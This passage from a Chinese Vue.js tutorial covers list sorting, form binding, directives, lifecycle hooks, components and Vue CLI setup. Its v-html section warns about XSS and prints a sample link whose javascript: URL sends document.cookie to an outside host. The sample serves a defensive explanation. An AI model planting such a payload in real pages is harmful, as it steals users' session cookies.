46.                     handler(newValue, oldValue){
47.                         this.filterVips = this.vips.filter((v)
 => {
48.                             return v.name.indexOf(newValue) >=
 0
49.                         })
50.                     }
51.                 }
52.             }, */
53.             computed : {
54.                 filterVips(){
55.                     return this.vips.filter((v) => {
56.                         return v.name.indexOf(this.keyword) >=
 0
57.                     })
58.                 }
59.             }
60.         })
61.     </script>
62.</body>
63.</html>
```

2.8 列表排序

```
1.  <!DOCTYPE html>
2.  <html lang="en">
3.  <head>
4.      <meta charset="UTF-8">
5.      <meta http-equiv="X-UA-Compatible" content="IE=edge">
6.      <meta name="viewport" content="width=device-width, initial-scale=1.0">
7.      <title>列表排序</title>
8.      <script src="../js/vue.js"></script>
9.      <style>
10.         table,tr,td,th{
11.             border:1px solid black;
12.         }
13.     </style>
14. </head>
15. <body>
16.     <div id="app">
17.         <h1>{{msg}}</h1>
18.         <input type="text" placeholder="输入关键字搜索" v-model="keyword"><br>
19.         <button @click="type = 1">按照名字升序</button><br>
20.         <button @click="type = 2">按照名字降序</button><br>
21.         <button @click="type = 0">按照名字原始顺序</button><br>
22.         <table>
23.             <tr>
24.                 <th>序号</th>
25.                 <th>姓名</th>
26.                 <th>邮箱</th>
27.                 <th>操作</th>
28.             </tr>
29.             <tr v-for="(vip, index) in filterVips" :key="vip.id">
30.                 <td>{{index+1}}</td>
31.                 <td>{{vip.name}}</td>
32.                 <td>{{vip.email}}</td>
33.                 <td><input type="checkbox"></td>
34.             </tr>
35.         </table>
36.     </div>
37.     <script>
```

 Copyright©动力节点

```
38.         const vm = new Vue({
39.             el : '#app',
40.             data : {
41.                 msg : '列表排序',
42.                 vips : [
43.                     {id:'100',name:'jack',email:'jack@123.com'},
44.                     {id:'200',name:'lucy',email:'lucy@123.com'},
45.                     {id:'300',name:'james',email:'james@123.com'},
46.                     {id:'400',name:'lilei',email:'lilei@123.com'},
47.                 ],
48.                 keyword : '',
49.                 type : 0
50.             },
51.             computed : {
52.                 filterVips(){
53.                     // 筛选
54.                     let arr = this.vips.filter((vip) => {
55.                         return vip.name.indexOf(this.keyword) >= 0
56.                     })
57.                     // 根据排序类型进行排序
58.                     if(this.type){
59.                         arr.sort((v1, v2) => {
60.                             console.log('@')
61.                             return this.type == 1 ? v1.name.localeCompare(v2.name) : v2.name.localeCompare(v1.name)
62.                         })
63.                     }
64.                     // 返回
65.                     return arr
66.                 }
67.             }
68.         })
69.     </script>
70. </body>
71. </html>
```

2.9 收集表单数据

```
1.  <!DOCTYPE html>
```

```
2.  <html lang="en">
3.  <head>
4.      <meta charset="UTF-8">
5.      <title>收集表单数据</title>
6.      <script src="../js/vue.js"></script>
7.  </head>
8.  <body>
9.      <div id="app">
10.         <h1>{{msg}}</h1>
11.         <form @submit.prevent="send">
12.             <label for="username">用户名：</label>
13.             <input id="username" type="text" v-model.trim="user.username"><br><br>
14.             密码：<input type="password" v-model="user.password"><br><br>
15.             年龄：<input type="number" v-model.number="user.age"><br><br>
16.             性别：
17.                 男<input type="radio" name="gender" v-model="user.gender" value="1">
18.                 女
    <input type="radio" name="gender" v-model="user.gender" value="0"><br><br>
19.             爱好：
20.                 运动
    <input type="checkbox" name="interest" value="sport" v-model="user.interest">
21.                 旅游
    <input type="checkbox" name="interest" value="travel" v-model="user.interest">
22.                 唱歌
    <input type="checkbox" name="interest" value="sing" v-model="user.interest"><br><br>
23.             学历：
24.                 <select v-model="user.grade">
25.                     <option value="">请选择学历</option>
26.                     <option value="zk">专科</option>
27.                     <option value="bk">本科</option>
28.                     <option value="ss">硕士</option>
29.                 </select><br><br>
30.             简介：
    <textarea cols="30" rows="10" v-model.lazy="user.introduce"></textarea><br><br>
31.             <input type="checkbox" v-model="user.isAgree">阅读并接受协议<br><br>
32.             <button>注册</button>
33.         </form>
34.     </div>
35.     <script>
```

 Copyright©动力节点

```
36.         const vm = new Vue({
37.             el : '#app',
38.             data : {
39.                 msg : '收集表单数据',
40.                 user : {
41.                     username : '',
42.                     password : '',
43.                     age : '',
44.                     gender : '0',
45.                     interest : ['sport'],
46.                     grade : 'ss',
47.                     introduce : '',
48.                     isAgree : ''
49.                 }
50.             },
51.             methods : {
52.                 send(){
53.                     console.log(JSON.stringify(this.user))
54.                 }
55.             }
56.         })
57.     </script>
58. </body>
59. </html>
```

页面展示效果：

运行结果：

```
{"username":"jack","password":"123","age":20,"gender":"1","interest":
["sport","travel","sing"],"grade":"bk","introduce":"jack is ok!","isAgree":true}
```

2.10 过滤器

过滤器 filters 适用于简单的逻辑处理，例如：对一些数据进行格式化显示。他的功能完全可以使用 methods，computed 来实现。过滤器可以进行全局配置，也可以进行局部配置：

① 全局配置：在构建任何 Vue 实例之前使用 Vue.filter(‘过滤器名称’, callback)进行配置。

② 局部配置：在构建 Vue 实例的配置项中使用 filters 进行局部配置。

过滤器可以用在两个地方：插值语法和 v-bind 指令中。

多个过滤器可以串联：{{msg | filterA | filterB | filterC}}

过滤器也可以接收额外的参数，但过滤器的第一个参数永远接收的都是前一个过滤器的返回值。

 Copyright©动力节点

2.11 Vue 的其它指令

2.11.1 v-text

将内容填充到标签体当中，并且是以覆盖的形式填充，而且填充的内容中即使存在 HTML 标签也只是会当做一个普通的字符串处理，不会解析。功能等同于原生 JS 中的 innerText。

2.11.2 v-html

将内容填充到标签体当中，并且是以覆盖的形式填充，而且将填充的内容当做 HTML 代码解析。功能等同于原生 JS 中的 innerHTML。

v-html 不要用到用户提交的内容上。可能会导致 XSS 攻击。XSS 攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript。

例如：用户在留言中恶意植入以下信息：

点我给你看点好玩的

```
<a href='javascript:location.href="http://www.baidu.com?" + document.cookie'>点我给你看点好玩的</a>
```

其他用户上当了：如果点击了以上的留言，就会将 cookie 发送给恶意的服务器。

baidu.com/?username=admin;%20password=123

2.11.3 v-cloak

v-cloak 配置 css 样式来解决胡子的闪现问题。

v-cloak 指令使用在标签当中，当 Vue 实例接管之后会删除这个指令。

这是一段 CSS 样式：当前页面中所有带有 v-cloak 属性的标签都隐藏起来。

```
[v-cloak] {
    display : none;
}
```

 Copyright©动力节点

2.11.4 v-once

初次接触指令的时候已经学过了。只渲染一次。之后将被视为静态内容。

2.11.5 v-pre

使用该指令可以提高编译速度。带有该指令的标签将不会被编译。可以在没有 Vue 语法规则的标签中使用可以提高效率。不要将它用在带有指令语法以及插值语法的标签中。

2.12 vue 的自定义指令

函数式：

```
directives : {
    'text-reverse' : function(element, binding){
        // element 是真实 dom 对象(可以通过 element instanceof HTMLElement 判断)
        // binding 是绑定的对象
        element.innerText = binding.value.split('').reverse().join('')
    }
}
<span v-text-reverse="msg"></span>
```

函数调用时机：

第一时机：模板初次解析时(元素与指令初次绑定)。

第二时机：模板重新解析时。

对象式：可以使用对象式完成更加细致的功能。

```
directives : {
    'bind-parent' : {
        // 元素与指令初次绑定时自动调用。
        bind(element, binding){},
        // 元素已经被插入页面后自动调用。
        inserted(element, binding){},
        // 模板重新解析时被自动调用。
        update(element, binding){}
    }
}
```

自定义指令的函数中的 this 是 window。

以上是局部指令，全局指令怎么定义：

对象式：

```
Vue.directive('bind-parent', {
    bind(element, binding){},
```

```
        inserted(element, binding){},
        update(element, binding){}
    })
```

函数式：

```
Vue.directive('text-reverse', function(element, binding){})
```

2.13 响应式与数据劫持

1. 什么是响应式？

修改 data 后，页面自动改变/刷新。这就是响应式。就像我们在使用 excel 的时候，修改一个单元格中的数据，其它单元格的数据会联动更新，这也是响应式。

2. Vue 的响应式是如何实现的？

数据劫持：Vue 底层使用了 Object.defineProperty，配置了 setter 方法，当去修改属性值时 setter 方法则被自动调用，setter 方法中不仅修改了属性值，而且还做了其他的事情，例如：重新渲染页面。setter 方法就像半路劫持一样，所以称为数据劫持。

3. Vue 会给 data 中所有的属性，以及属性中的属性，都会添加响应式。
4. 后期添加的属性，不会有响应式，怎么处理？
   ① Vue.set(目标对象, '属性名', 值)
   ② vm.$set(目标对象, '属性名', 值)
5. Vue 没有给数组下标 0,1,2,3....添加响应式，怎么处理？
   ① 调用 Vue 提供的 7 个 API：

```
push()
pop()
reverse()
splice()
shift()
unshift()
sort()
```

或者使用：

```
Vue.set(数组对象, 'index', 值)
vm.$set(数组对象, 'index', 值)
```

2.14 Vue 的生命周期

2.14.1 什么是生命周期

所谓的生命周期是指：一个事物从出生到最终的死亡，整个经历的过程叫做生命周期。

例如人的生命周期：

(1) 出生：打疫苗

(2) 3 岁了：上幼儿园
(3) 6 岁了：上小学
(4) 12 岁了：上初中
(5) .....
(6) 55 岁了：退休
(7) .....
(8) 临终：遗嘱
(9) 死亡：火化

可以看到，在这个**生命线**上有很多不同的时间节点，在**不同的时间节点**上去**做不同的事儿**。

Vue 的生命周期指的是：vm 对象从创建到最终销毁的整个过程。
(1) 虚拟 DOM 在内存中就绪时：去调用一个 a 函数
(2) 虚拟 DOM 转换成真实 DOM 渲染到页面时：去调用一个 b 函数
(3) Vue 的 data 发生改变时：去调用一个 c 函数
(4) .....
(5) Vue 实例被销毁时：去调用一个 x 函数
在生命线上的函数叫做钩子函数，这些函数是不需要程序员手动调用的，由 Vue 自动调用，程序员只需要按照自己的需求写上，到了那个时间点自动就会执行。

2.14.2 掌握 Vue 的生命周期有什么用

研究 Vue 的生命周期主要是研究：在不同的时刻 Vue 做了哪些不同的事儿。

例如：在 vm 被销毁之前，我需要将绑定到元素上的自定义事件全部解绑，那么这个解绑的代码就需要找一个地方写一下，写到哪里呢？你可以写到 beforeDestroy()这个函数中，这个函数会被 Vue 自动调用，而且是在 vm 对象销毁前被自动调用。像这种在不同时刻被自动调用的函数称为钩子函数。每一个钩子函数都有对应的调用时间节点。

换句话说，研究 Vue 的生命周期主要研究的核心是：在**哪个时刻**调用了**哪个钩子函数**。

2.14.3 Vue 生命周期的 4 个阶段 8 个钩子

Vue 的生命周期可以被划分为 4 个阶段：初始阶段、挂载阶段、更新阶段、销毁阶段。
每个阶段会调用两个钩子函数。两个钩子函数名的特点：beforeXxx()、xxxed()。
8 个生命周期钩子函数分别是：
(1) 初始阶段
① beforeCreate() 创建前
② created() 创建后
(2) 挂载阶段
① beforeMount() 挂载前

② mounted() 挂载后

(3) 更新阶段

① beforeUpdate() 更新前

② updated() 更新后

(4) 销毁阶段

① beforeDestroy() 销毁前

② destroyed() 销毁后

8 个钩子函数写在哪里？直接写在 Vue 构造函数的 options 对象当中。

Vue 官方的生命周期图：

动力节点

* template compilation is performed ahead-of-time if using
a build step, e.g. single-file components

翻译后的生命周期图：

动力节点

 Copyright©动力节点

2.14.4 初始阶段做了什么事儿

做了这么几件事：

(1) 创建 Vue 实例 vm（此时 Vue 实例已经完成了创建，这是生命的起点）

(2) 初始化事件对象和生命周期（接产大夫正在给他洗澡）

(3) 调用 beforeCreate()钩子函数（此时还无法通过 vm 去访问 data 对象的属性）

(4) 初始化数据代理和数据监测

(5) 调用 created()钩子函数（此时数据代理和数据监测创建完毕，已经可以通过 vm 访问 data 对象的属性）

(6) 编译模板语句生成虚拟 DOM（此时虚拟 DOM 已经生成，但页面上还没有渲染）

该阶段适合做什么？

beforeCreate：可以在此时加一些 loading 效果。

created：结束 loading 效果。也可以在此时发送一些网络请求，获取数据。也可以在这里添加定时器。

2.14.5 挂载阶段做了什么事儿

做了这么几件事：

(1) 调用 beforeMount()钩子函数（此时页面还未渲染，真实 DOM 还未生成）

(2) 给 vm 追加$el 属性，用它来代替"el"，$el 代表了真实的 DOM 元素（此时真实 DOM 生成，页面渲染完成）

(3) 调用 mounted()钩子函数

该阶段适合做什么？

mounted：可以操作页面的 DOM 元素了。

2.14.6 更新阶段做了什么事儿

做了这么几件事：

(1) data 发生变化（这是该阶段开始的标志）

(2) 调用 beforeUpdate()钩子函数（此时只是内存中的数据发生变化，页面还未更新）

(3) 虚拟 DOM 重新渲染和修补

(4) 调用 updated()钩子函数（此时页面已更新）

该阶段适合做什么？

beforeUpdate：适合在更新之前访问现有的 DOM，比如手动移除已添加的事件监听器。

updated：页面更新后，如果想对数据做统一处理，可以在这里完成。

2.14.7 销毁阶段做了什么事儿

做了这么几件事：

(1) vm.$destroy()方法被调用（这是该阶段开始的标志）

 Copyright©动力节点

(2) 调用 beforeDestroy()钩子函数（此时 Vue 实例还在。虽然 vm 上的监视器、vm 上的子组件、vm 上的自定义事件监听器还在，但是它们都已经不能用了。此时修改 data 也不会重新渲染页面了）

(3) 卸载子组件和监视器、解绑自定义事件监听器

(4) 调用 destroyed()钩子函数（虽然 destroyed 翻译为已销毁，但此时 Vue 实例还在，空间并没有释放，只不过马上要释放了，这里的已销毁指的是 vm 对象上所有的东西都已经解绑完成了）

该阶段适合做什么？

beforeDestroy：适合做销毁前的准备工作，和人临终前写遗嘱类似。例如：可以在这里清除定时器。

3. Vue 组件化

3.1 什么是组件

(1) 传统方式开发的应用

一个网页通常包括三部分：结构（HTML）、样式（CSS）、交互（JavaScript）

传统应用存在的问题：

① 关系纵横交织，复杂，牵一发动全身，不利于维护。

② 代码虽然复用，但复用率不高。

(2) 组件化方式开发的应用

使用组件化方式开发解决了以上的两个问题：

① 每一个组件都有独立的 js，独立的 css，这些独立的 js 和 css 只供当前组件使用，不存在纵横交错。更加便于维护。

② 代码复用性增强。组件不仅让 js css 复用了，HTML 代码片段也复用了（因为要使用组件直接引入组件即可）。

(3) 什么是组件？

① 组件：实现应用中局部功能的代码和资源的集合。凡是采用组件方式开发的应用都可以称为组件化应用。

② 模块：一个大的 js 文件按照模块化拆分规则进行拆分，生成多个 js 文件，每一个 js 文件叫做模块。凡是采用模块方式开发的应用都可以称为模块化应用。

③ 任何一个组件中都可以包含这些资源：HTML CSS JS 图片 声音 视频等。从这个角度也可以说明组件是可以包括模块的。

(4) 组件的划分粒度很重要，粒度太粗会影响复用性。为了让复用性更强，Vue 的组件也支持父子组件嵌套使用。

子组件由父组件来管理，父组件由父组件的父组件管理。在 Vue 中根组件就是 vm。因此每一个组件也是一个 Vue 实例。

3.2 组件的创建、注册和使用

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <title>组件的创建注册和使用</title>
6.     <script src="../js/vue.js"></script>
7. </head>
8. <body>
9.     <div id="app">
10.         <h1>{{msg}}</h1>
```

```
11.         <!-- 3.使用组件 -->
12.         <userlist></userlist>
13.         <userlist></userlist>
14.         <userlogin></userlogin>
15.         <userlogin></userlogin>
16.     </div>
17.     <script>
18.         // 1.创建组件
19.         const userListComponent = Vue.extend({
20.             template : `
21.                 <ul>
22.                     <li v-for="(user,index) of users" :key="user.id">
23.                         {{index}},{{user.name}}
24.                     </li>
25.                 </ul>
26.             `,
27.             data(){
28.                 return {
29.                     users : [
30.                         {id:'001', name:'jack'},
31.                         {id:'002', name:'lucy'},
32.                         {id:'003', name:'james'}
33.                     ]
34.                 }
35.             }
36.         })
37.
38.         // 1.创建组件
39.         const userLoginComponent = Vue.extend({
40.             template : `
41.             <div>
42.             <h3>用户登录</h3>
43.             <form @submit.prevent="login">
44.             账号：<input type="text" v-model="username"><br><br>
45.             密码：<input type="password" v-model="password"><br><br>
46.             <button>登录</button>
47.             </form>
48.             </div>
49.             `,
```

```
50.             data(){
51.                 return {
52.                     username : 'admin',
53.                     password : '123'
54.                 }
55.             },
56.             methods : {
57.                 login(){
58.                     alert(this.username + "," + this.password)
59.                 }
60.             }
61.         })
62.
63.         const vm = new Vue({
64.             el : '#app',
65.             data : {
66.                 msg : '组件的创建注册和使用'
67.             },
68.             // 2.注册组件（局部注册）
69.             components : {
70.                 // userlist 就是组件的名字
71.                 userlist : userListComponent,
72.                 userlogin : userLoginComponent
73.             }
74.         })
75.     </script>
76. </body>
77. </html>
```

(1) 创建组件

① const userComponent = Vue.extend({这个配置项和创建 Vue 实例的配置项几乎是一样的，只是略有差异})

② 需要注意的是：

1) el 不能用。组件具有通用性，不特定为某个容器服务，它为所有容器服务。

2) data 必须使用函数形式：return {}

3) 使用 template 配置项配置页面结构：HTML。

(2) 注册组件

① 局部注册

1) 使用 components 配置项：components : {user : userComponent}，user 就是组件名。

② 全局注册

1) Vue.component('user', userComponent)

(3) 使用组件

① 直接在页面需要使用组件的位置：<user></user>

② 也可以这样使用：<user/> （不在脚手架环境中使用这种方式会出现后续元素不渲染的问题。）

(4) 创建组件对象也有简写形式：Vue.extend() 可以省略。直接写：{}

(5) 组件的命名细节：

① 全部小写

② 首字母大写，后面全部小写

③ kebab-case 串式命名法

④ CamelCase 驼峰式命名法（这种方式需要在脚手架环境中使用）

⑤ 不要使用 HTML 内置的标签作为组件名称。

⑥ 可以使用 name 配置项来指定 Vue 开发者工具中显示的组件名。

3.3 组件嵌套

```
1.  <!DOCTYPE html>
2.  <html lang="en">
3.  <head>
4.      <meta charset="UTF-8">
5.      <title>组件嵌套</title>
6.      <script src="../js/vue.js"></script>
7.  </head>
8.  <body>
9.      <div id="root"></div>
10.     <script>
11.         // 创建 Y1 组件
12.         const y1 = {
13.             template : `
14.                 <div>
15.                     <h3>Y1 组件</h3>
16.                 </div>
17.             `
18.         }
19.         // 创建 X1 组件
20.         const x1 = {
21.             template : `
22.                 <div>
23.                     <h3>X1 组件</h3>
24.                 </div>
25.             `
```

 Copyright©动力节点

```
26.         }
27.         // 创建 Y 组件
28.         const y = {
29.             template : `
30.                 <div>
31.                     <h2>Y 组件</h2>
32.                     <y1></y1>
33.                 </div>
34.             `,
35.             components : {y1}
36.         }
37.         // 创建 X 组件
38.         const x = {
39.             template : `
40.                 <div>
41.                     <h2>X 组件</h2>
42.                     <x1></x1>
43.                 </div>
44.             `,
45.             components : {x1}
46.         }
47.         // 创建 app 组件
48.         const app = {
49.             template : `
50.                 <div>
51.                     <h1>App 组件</h1>
52.                     <x></x>
53.                     <y></y>
54.                 </div>
55.             `,
56.             // 注册 X 组件
57.             components : {x,y}
58.         }
59.         // vm
60.         const vm = new Vue({
61.             el : '#root',
62.             template : `
63.                 <app></app>
64.             `,
```

```
            // 注册 app 组件
            components : {app}
        })
    </script>
</body>
</html>
```

嵌套结构：这种结构更加贴切实际项目的开发

3.4 VueComponent & Vue

3.4.1 this

new Vue({})配置项中的 this 和 Vue.extend({})配置项中的 this 他们分别是谁？

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>vm 与 vc</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="app">
        <mc></mc>
    </div>
    <script>
        const myComponent = Vue.extend({
            template : `<h1></h1>`,
            mounted(){
                console.log('vc', this)
```

```
            }
        })

        const vm = new Vue({
            el : '#app',
            components : {
                mc : myComponent
            },
            mounted() {
                console.log('vm', this)
            },
        })
    </script>
</body>
</html>
```

测试结果：

```
vc ▶ VueComponent {_uid: 1, _isVue: true, __v_skip: true, _scope: EffectScope, $options: {…}, …}
vm ▶ Vue {_uid: 0, _isVue: true, __v_skip: true, _scope: EffectScope, $options: {…}, …}
```

new Vue({})配置项中的 this 就是：Vue 实例（**vm**）。
Vue.extend({})配置项中的 this 就是：VueComponent 实例（**vc**）。
打开 vm 和 vc 你会发现，它们拥有大量相同的属性。例如：生命周期钩子、methods、watch 等。

3.4.2 vm === vc ???

只能说差不多一样，不是完全相等。
例如：

vm 上有 el，vc 上没有。

另外 data 也是不一样的。vc 的 data 必须是一个函数。

只能这么说：vm 上有的 vc 上不一定有，vc 上有的 vm 上一定有。

3.4.3 Vue.extend()方法做了什么？

每一次的 extend 调用返回的都是一个全新的 VueComponent 函数。
以下是 Vue.extend()的源码：

 Copyright©动力节点

```
5825    Vue.extend = function (extendOptions) {
5826        extendOptions = extendOptions || {};
5827        var Super = this;
5828        var SuperId = Super.cid;
5829        var cachedCtors = extendOptions._Ctor || (extendOptions._Ctor = {});
5830        if (cachedCtors[SuperId]) {
5831            return cachedCtors[SuperId];
5832        }
5833        var name = getComponentName(extendOptions) || getComponentName(Super.options);
5834        if (name) {
5835            validateComponentName(name);
5836        }
5837        var Sub = function VueComponent(options) {
5838            this._init(options);
5839        };
5840        Sub.prototype = Object.create(Super.prototype);
5841        Sub.prototype.constructor = Sub;
5842        Sub.cid = cid++;
5843        Sub.options = mergeOptions(Super.options, extendOptions);
5844        Sub['super'] = Super;
```

```
5870            Sub.superOptions = Super.options;
5871            Sub.extendOptions = extendOptions;
5872            Sub.sealedOptions = extend({}, Sub.options);
5873            // cache constructor
5874            cachedCtors[SuperId] = Sub;
5875            return Sub;
5876        };
5877    }
```

注意：是每一次都会返回一个全新的 VueComponent 构造函数。**是全新的！！！**

构造函数有了，什么时候会调用构造函数来实例化 VueComponent 对象呢？

```
<div id="app">
    <mc></mc>
</div>
```

Vue 在解析**<mc></mc>**时会创建一个 VueComponent 实例，也就是：new VueComponent()

3.4.4 通过 vc 可以访问 Vue 原型对象上的属性

通过 vc 可以访问 Vue 原型对象上的属性：

```
1. Vue.prototype.counter = 100
2. console.log(vc.counter) // 100
```

为什么要这么设计？代码复用。Vue 原型对象上有很多方法，例如：$mount()，对于组件 VueComponent 来说就不需要再额外提供了，直接使用 vc 调用$mount()，代码得到了复用。

Vue 框架是如何实现以上机制的呢？

```
1. VueComponent.prototype.__proto__ = Vue.prototype
```

测试：

```
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4.     <meta charset="UTF-8">
5.     <title>测试</title>
6.     <script src="../js/vue.js"></script>
7. </head>
8. <body>
9.     <div id="app"></div>
10.    <script>
11.        const userlist = Vue.extend({
12.            template : `<div><h1>用户列表</h1></div>`,
13.        })
14.        const vm = new Vue({
15.            el : '#app',
16.            template : `<userlist></userlist>`,
17.            components : {userlist}
18.        })
19.        console.log(userlist.prototype.__proto__ === Vue.prototype) // true
20.    </script>
21. </body>
22. </html>
```

3.4.4.1 回顾原型对象

prototype 称为：显示的原型属性，用法：函数.prototype，例如：Vue.prototype

__proto__称为：隐式的原型属性，用户：实例.__proto__，例如：vm.__proto__

无论是通过 prototype 还是__proto__，获取的对象都是同一个，它是一个共享的对象，称为：XX 的原型对象。

如果通过 Vue.prototype 获取的对象就叫做：Vue 的原型对象。

如果通过 User.prototype 获取的对象就叫做：User 的原型对象。

请看下图：

 Copyright©动力节点

所以代码可以这样写：

User.prototype.counter = 100

通过 a.__proto__.counter 是可以访问的
通过 b.__proto__.counter 是可以访问的
通过 c.__proto__.counter 是可以访问的

从a对象上找不到counter属性，会继续从对应的原型对象上找counter，因此：
通过 a.counter 也是可以访问的
通过 b.counter 也是可以访问的
通过 c.counter 也是可以访问的

3.4.4.2 原理剖析

```
VueComponent.prototype.__proto__ = Vue.prototype
```

 Copyright©动力节点

这样做的话，最终的结果就是：Vue、vm、VueComponent、vc 都共享了 Vue 的原型对象（并且这个 Vue 的原型对象只有一个）。

3.5 单文件组件

1. 什么是单文件组件？
   (1) 一个文件对应一个组件（之前我们所学的是非单文件组件，一个 html 文件中定义了多个组件）
   (2) 单文件组件的名字通常是：x.vue，这是 Vue 框架规定的，只有 Vue 框架能够认识，浏览器无法直接打开运行。需要 Vue 框架进行编译，将 x.vue 最终编译为浏览器能识别的 html js css。
   (3) 单文件组件的文件名命名规范和组件名的命名规范相同：
      ① 全部小写：userlist
      ② 首字母大写，后面全部小写：Userlist
      ③ kebab-case 命名法：user-list
      ④ CamelCase 命名法：UserList（我们使用这种方式，和 Vue 开发者工具呼应。）
2. x.vue 文件的内容包括三块：
   (1) 结构：<template>HTML 代码</template>
   (2) 交互：<script>JS 代码</script>
   (3) 样式：<style>CSS 代码</style>
3. export 和 import，ES6 的模块化语法。
   (1) 使用 export 导出（暴露）组件，在需要使用组件的 x.vue 文件中使用 import 导入组件
      ① 默认导入和导出
         1) export default {}
         2) import 任意名称 from ‘模块标识符’
      ② 按需导入和导出
         1) export {a, b}
         2) import {a, b} from ‘模块标识符’
      ③ 分别导出
         export var name = ‘zhangsan’
         export function sayHi(){}
4. VSCode 工具可以安装一些插件，这样在编写 x.vue 的时候有提示。例如：**vetur 插件**。
   (1) 使用该插件之后，有高亮显示，并且也可以通过输入 <v 生成代码。
5. 把之前“组件嵌套”的例子修改为单文件组件

 Copyright©动力节点

X1.vue

04-单文件组件 > X1.vue > {} "X1.vue" > script

```
<template>
    <div>
        <h3>X1组件</h3>
    </div>
</template>

<script>
    export default{
        name : 'X1'
    }
</script>
```

Y1.vue

04-单文件组件 > Y1.vue > {} "Y1.vue"

```
<template>
    <div>
        <h3>Y1组件</h3>
    </div>
</template>

<script>
    export default {
        name : 'Y1'
    }
</script>
```

auto rename tag 插件

X.vue

04-单文件组件 > X.vue > {} "X.vue"

```
<template>
    <div>
        <h2>X组件</h2>
        <Y1></Y1>
    </div>
</template>

<script>
    import X1 from './X1.vue'
    export default{
        name : 'X',
        components : {X1}
    }
</script>
```

动力节点

Y.vue

04-单文件组件 > Y.vue > {} "Y.vue"

```
<template>
    <div>
        <h2>Y组件</h2>
        <Y1></Y1>
    </div>
</template>

<script>
    import Y1 from './Y1.vue'
    export default {
        name : 'Y',
        components : {Y1}
    }
</script>
```

App.vue

04-单文件组件 > App.vue > {} "App.vue"

```
<template>
    <div>
        <h1>App组件</h1>
        <X></X>
        <Y></Y>
    </div>
</template>

<script>
    import X from './X.vue'
    import Y from './Y.vue'
    export default {
        name : 'App',
        components : {X,Y}
    }
</script>
```

记住一个要领：不管是单文件组件还是非单文件组件，永远都包括三步：创建组件、注册组件、使用组件。

创建 vm 的代码就不是一个组件了，这个 js 代码写到一个 js 文件中即可，一般这个起名：main.js。寓意：入口

main.js

04-单文件组件 > main.js > ...

```
import App from './App.vue'

new Vue({
    el : '#root',
    template : `<app></app>`,
    components : {App}
})
```

还剩最后的一点 HTML 代码，一般这个文件叫做 index.html，代码如下：

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>单文件组件</title>
</head>
<body>
    <div id="root"></div>
    <script src="../js/vue.js"></script>
    <script src="./main.js"></script>
</body>
</html>
```

如上图，注意引入顺序。

代码执行原理：

① 第一步：浏览器打开 index.html 页面，加载容器

② 第二步：加载 vue.js 文件，有了 Vue

③ 第三步：加载 main.js

1) import App from ‘./App.vue’
2) import X from './X.vue'
3) import X1 from './X1.vue'
4) import Y from './Y.vue'
5) import Y1 from './Y1.vue'

这样就完成了所有组件以及子组件的创建和注册。

④ 第四步：创建 Vue 实例 vm，编译模板语句，渲染。

写完之后不能直接运行，浏览器不认识.vue 文件，不认识 ES6 的模块化语法。需要安装 Vue 脚手架。

3.6 Vue 脚手架

3.6.1 确保 npm 能用（安装 Node.js）

Node.js 的下载地址:

https://nodejs.org/zh-cn/download/

node-v18.15.0-x64.msi

安装步骤如下：

打开文件 - 安全警告
你想运行此文件吗?
名称: ...\Administrator\Downloads\node-v18.15.0-x64.msi
发行商: OpenJS Foundation
类型: Windows Installer 程序包
发送方: C:\Users\Administrator\Downloads\node-v18.15.0...
运行(R)
取消
打开此文件前总是询问(W)
来自 Internet 的文件可能对你有所帮助，但此文件类型可能危害你的计算机。请仅运行来自你信任的发布者的软件。有何风险?

Node.js Setup
Welcome to the Node.js Setup Wizard
The Setup Wizard will install Node.js on your computer.
Back
Next
Cancel

Node.js Setup
End-User License Agreement
Please read the following license agreement carefully
Node.js is licensed for use as follows:
Copyright Node.js contributors. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject
I accept the terms in the License Agreement
Print
Back
Next
Cancel

Node.js Setup
Destination Folder
Choose a custom location or click Next to install.
Install Node.js to:
C:\Program Files\nodejs\
Change...
Back
Next
Cancel

Node.js Setup
Custom Setup
Select the way you want features to be installed.
Click the icons in the tree below to change the way features will be installed.
Node.js runtime
corepack manager
npm package manager
Online documentation shortcuts
Add to PATH
Add Node.js, npm, and modules that were globally installed by npm to the PATH environment variable.
This feature requires 0KB on your hard drive. It has 2 of 2 subfeatures selected. The subfeatures require 2KB on your hard drive.
Browse...
Reset
Disk Usage
Back
Next
Cancel

Node.js Setup
Tools for Native Modules
Optionally install the tools necessary to compile native modules.
Some npm modules need to be compiled from C/C++ when installing. If you want to be able to install such modules, some tools (Python and Visual Studio Build Tools) need to be installed.
Automatically install the necessary tools. Note that this will also install Chocolatey. The script will pop-up in a new window after the installation completes.
Alternatively, follow the instructions at https://github.com/nodejs/node-gyp#on-windows to install the dependencies yourself.
Back
Next
Cancel

Node.js Setup
Ready to install Node.js
Click Install to begin the installation. Click Back to review or change any of your installation settings. Click Cancel to exit the wizard.
Back
Install
Cancel

打开 dos 命令窗口，输入 npm 命令。

```
C:\Users\Administrator>npm -version
9.5.0
```

3.6.2 Vue CLI（脚手架安装）

1. Vue 的脚手架（Vue CLI: Command Line Interface）是 Vue 官方提供的标准化开发平台。它可以将我们.vue 的代码进行编译生成 html css js 代码，并且可以将这些代码自动发布到它自带的服务器上，为我们 Vue 的开发提供了一条龙服务。脚手架官网地址：https://cli.vuejs.org/zh

注意：Vue CLI 4.x 需要 Node.js v8.9 及以上版本，推荐 v10 以上。

2. 脚手架安装步骤：

① 建议先配置一下 npm 镜像：

1) npm config set registry https://registry.npm.taobao.org

2) npm config get registry 返回成功，表示设置成功

② 第一步：安装脚手架（全局方式：表示只需要做一次即可）

1) npm install -g @vue/cli

2) 安装完成后，重新打开 DOS 命令窗口，输入 vue 命令可用表示成功了

③ 第二步：创建项目（项目中自带脚手架环境，自带一个 HelloWorld 案例）

 Copyright©动力节点

1) 切换到要创建项目的目录，然后使用 vue create vue_pro

```
npm config get registry
Vue CLI v5.0.8
? Please pick a preset:
  Default ([Vue 3] babel, eslint)
